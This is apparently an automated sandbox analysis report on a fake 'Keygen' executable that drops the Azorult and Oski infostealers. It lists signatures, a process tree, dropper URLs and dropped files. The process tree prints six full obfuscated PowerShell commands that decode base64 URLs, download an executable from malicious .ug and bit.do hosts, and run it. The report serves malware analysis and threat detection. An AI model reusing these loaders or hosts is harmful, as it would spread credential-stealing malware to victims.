azorult | 3a27b002eab25417e6ef4cdeb35edd40755a0a20f6c701842f10bfa9448e5c89

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
23s
max time network
161s
platform
windows10_x64
resource
win10
submitted
02-10-2020 21:14

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (65) — копия.exe

Score

10^/10

azorult oski infostealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

13 2400 powershell.exe
15 2400 powershell.exe
16 2872 powershell.exe
19 2872 powershell.exe
21 4492 powershell.exe
23 4492 powershell.exe
Downloads MZ/PE file

flow	pid	process
13	2400	powershell.exe
15	2400	powershell.exe
16	2872	powershell.exe
19	2872	powershell.exe
21	4492	powershell.exe
23	4492	powershell.exe

Executes dropped EXE 14 IoCs

Processes:

Keygen.exekis.exeywv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeywv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeicu.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeicu.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exe

pid	process
1480	Keygen.exe
5088	kis.exe
4276	ywv.exe
4452	FVjhgtresfdbv.exe
4440	NHtrdsaghfDF.exe
1456	ywv.exe
3396	FVjhgtresfdbv.exe
1356	NHtrdsaghfDF.exe
4696	icu.exe
4936	FVjhgtresfdbv.exe
4944	NHtrdsaghfDF.exe
5036	icu.exe
5072	NHtrdsaghfDF.exe
5096	FVjhgtresfdbv.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

ywv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeicu.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exe

description	pid	process	target process
PID 4276 set thread context of 1456	4276	ywv.exe	ywv.exe
PID 4452 set thread context of 3396	4452	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4440 set thread context of 1356	4440	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 4696 set thread context of 5036	4696	icu.exe	icu.exe
PID 4944 set thread context of 5072	4944	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 4936 set thread context of 5096	4936	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

1548 timeout.exe
2052 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings cmd.exe

pid	process
1548	timeout.exe
2052	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1844	powershell.exe
2872	powershell.exe
2852	powershell.exe
2400	powershell.exe
2872	powershell.exe
2872	powershell.exe
1844	powershell.exe
1844	powershell.exe
2852	powershell.exe
2852	powershell.exe
2400	powershell.exe
2400	powershell.exe
1844	powershell.exe
4492	powershell.exe
4492	powershell.exe
2872	powershell.exe
2400	powershell.exe
2852	powershell.exe
4536	powershell.exe
4536	powershell.exe
4492	powershell.exe
4536	powershell.exe
4492	powershell.exe
4536	powershell.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

ywv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeicu.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exe

pid process

4276 ywv.exe
4452 FVjhgtresfdbv.exe
4440 NHtrdsaghfDF.exe
4696 icu.exe
4944 NHtrdsaghfDF.exe
4936 FVjhgtresfdbv.exe

pid	process
4276	ywv.exe
4452	FVjhgtresfdbv.exe
4440	NHtrdsaghfDF.exe
4696	icu.exe
4944	NHtrdsaghfDF.exe
4936	FVjhgtresfdbv.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2852	powershell.exe
Token: SeDebugPrivilege	1844	powershell.exe
Token: SeDebugPrivilege	2400	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeDebugPrivilege	4492	powershell.exe
Token: SeDebugPrivilege	4536	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

Keygen.exeywv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeicu.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

1480 Keygen.exe
4276 ywv.exe
4452 FVjhgtresfdbv.exe
4440 NHtrdsaghfDF.exe
4696 icu.exe
4936 FVjhgtresfdbv.exe
4944 NHtrdsaghfDF.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (65) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exeywv.exe

description	pid	process	target process
PID 336 wrote to memory of 2648	336	Keygen — копия (65) — копия.exe	cmd.exe
PID 336 wrote to memory of 2648	336	Keygen — копия (65) — копия.exe	cmd.exe
PID 336 wrote to memory of 2648	336	Keygen — копия (65) — копия.exe	cmd.exe
PID 2648 wrote to memory of 1480	2648	cmd.exe	Keygen.exe
PID 2648 wrote to memory of 1480	2648	cmd.exe	Keygen.exe
PID 2648 wrote to memory of 1480	2648	cmd.exe	Keygen.exe
PID 2648 wrote to memory of 1748	2648	cmd.exe	mshta.exe
PID 2648 wrote to memory of 1748	2648	cmd.exe	mshta.exe
PID 2648 wrote to memory of 1748	2648	cmd.exe	mshta.exe
PID 2648 wrote to memory of 60	2648	cmd.exe	mshta.exe
PID 2648 wrote to memory of 60	2648	cmd.exe	mshta.exe
PID 2648 wrote to memory of 60	2648	cmd.exe	mshta.exe
PID 2648 wrote to memory of 2052	2648	cmd.exe	timeout.exe
PID 2648 wrote to memory of 2052	2648	cmd.exe	timeout.exe
PID 2648 wrote to memory of 2052	2648	cmd.exe	timeout.exe
PID 2648 wrote to memory of 2792	2648	cmd.exe	mshta.exe
PID 2648 wrote to memory of 2792	2648	cmd.exe	mshta.exe
PID 2648 wrote to memory of 2792	2648	cmd.exe	mshta.exe
PID 60 wrote to memory of 2852	60	mshta.exe	powershell.exe
PID 60 wrote to memory of 2852	60	mshta.exe	powershell.exe
PID 60 wrote to memory of 2852	60	mshta.exe	powershell.exe
PID 1748 wrote to memory of 2872	1748	mshta.exe	powershell.exe
PID 1748 wrote to memory of 2872	1748	mshta.exe	powershell.exe
PID 1748 wrote to memory of 2872	1748	mshta.exe	powershell.exe
PID 2648 wrote to memory of 3540	2648	cmd.exe	mshta.exe
PID 2648 wrote to memory of 3540	2648	cmd.exe	mshta.exe
PID 2648 wrote to memory of 3540	2648	cmd.exe	mshta.exe
PID 2792 wrote to memory of 2400	2792	mshta.exe	powershell.exe
PID 2792 wrote to memory of 2400	2792	mshta.exe	powershell.exe
PID 2792 wrote to memory of 2400	2792	mshta.exe	powershell.exe
PID 2648 wrote to memory of 1548	2648	cmd.exe	timeout.exe
PID 2648 wrote to memory of 1548	2648	cmd.exe	timeout.exe
PID 2648 wrote to memory of 1548	2648	cmd.exe	timeout.exe
PID 3540 wrote to memory of 1844	3540	mshta.exe	powershell.exe
PID 3540 wrote to memory of 1844	3540	mshta.exe	powershell.exe
PID 3540 wrote to memory of 1844	3540	mshta.exe	powershell.exe
PID 2648 wrote to memory of 4332	2648	cmd.exe	mshta.exe
PID 2648 wrote to memory of 4332	2648	cmd.exe	mshta.exe
PID 2648 wrote to memory of 4332	2648	cmd.exe	mshta.exe
PID 2648 wrote to memory of 4388	2648	cmd.exe	mshta.exe
PID 2648 wrote to memory of 4388	2648	cmd.exe	mshta.exe
PID 2648 wrote to memory of 4388	2648	cmd.exe	mshta.exe
PID 4332 wrote to memory of 4492	4332	mshta.exe	powershell.exe
PID 4332 wrote to memory of 4492	4332	mshta.exe	powershell.exe
PID 4332 wrote to memory of 4492	4332	mshta.exe	powershell.exe
PID 4388 wrote to memory of 4536	4388	mshta.exe	powershell.exe
PID 4388 wrote to memory of 4536	4388	mshta.exe	powershell.exe
PID 4388 wrote to memory of 4536	4388	mshta.exe	powershell.exe
PID 2400 wrote to memory of 5088	2400	powershell.exe	kis.exe
PID 2400 wrote to memory of 5088	2400	powershell.exe	kis.exe
PID 2400 wrote to memory of 5088	2400	powershell.exe	kis.exe
PID 2872 wrote to memory of 4276	2872	powershell.exe	ywv.exe
PID 2872 wrote to memory of 4276	2872	powershell.exe	ywv.exe
PID 2872 wrote to memory of 4276	2872	powershell.exe	ywv.exe
PID 4276 wrote to memory of 4452	4276	ywv.exe	FVjhgtresfdbv.exe
PID 4276 wrote to memory of 4452	4276	ywv.exe	FVjhgtresfdbv.exe
PID 4276 wrote to memory of 4452	4276	ywv.exe	FVjhgtresfdbv.exe
PID 4276 wrote to memory of 4440	4276	ywv.exe	NHtrdsaghfDF.exe
PID 4276 wrote to memory of 4440	4276	ywv.exe	NHtrdsaghfDF.exe
PID 4276 wrote to memory of 4440	4276	ywv.exe	NHtrdsaghfDF.exe
PID 4276 wrote to memory of 1456	4276	ywv.exe	ywv.exe
PID 4276 wrote to memory of 1456	4276	ywv.exe	ywv.exe
PID 4276 wrote to memory of 1456	4276	ywv.exe	ywv.exe
PID 4276 wrote to memory of 1456	4276	ywv.exe	ywv.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (65) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (65) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:336

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\162D.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (65) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2648

C:\Users\Admin\AppData\Local\Temp\162D.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1480

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\162D.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1748

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2872

C:\Users\Public\ywv.exe
"C:\Users\Public\ywv.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4276

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4452

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
PID:3396

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4440

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:1356

C:\Users\Public\ywv.exe
"C:\Users\Public\ywv.exe"
6⤵
- Executes dropped EXE
PID:1456

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\162D.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:60

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2852

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2052

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\162D.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2792

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2400

C:\Users\Public\kis.exe
"C:\Users\Public\kis.exe"
5⤵
- Executes dropped EXE
PID:5088

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\162D.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3540

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1844

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1548

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\162D.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4332

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4492

C:\Users\Public\icu.exe
"C:\Users\Public\icu.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4696

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4936

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
PID:5096

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4944

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:5072

C:\Users\Public\icu.exe
"C:\Users\Public\icu.exe"
6⤵
- Executes dropped EXE
PID:5036

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\162D.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4388

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4536

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\ProgramData\softokn3.dll

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\162D.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\162D.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\162D.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\162D.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\162D.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\162D.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\162D.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\162D.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\162D.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

